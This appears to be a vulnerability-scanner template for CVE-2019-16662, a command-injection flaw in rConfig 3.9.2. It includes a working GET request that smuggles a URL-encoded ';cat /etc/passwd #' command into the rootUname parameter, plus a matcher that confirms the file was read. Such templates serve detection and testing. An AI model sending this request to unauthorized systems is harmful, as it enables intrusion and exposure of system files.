id: CVE-2019-16662 info: name: rConfig 3.9.2 Remote Code Execution author: pikpikcu severity: critical description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution. reference: - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/ - https://nvd.nist.gov/vuln/detail/CVE-2019-16662 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-16662 cwe-id: CWE-78 tags: cve,cve2019,rce,intrusive,rconfig requests: - method: GET path: - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23" matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "root:.*:0:0:" # Enhanced by mp on 2022/03/29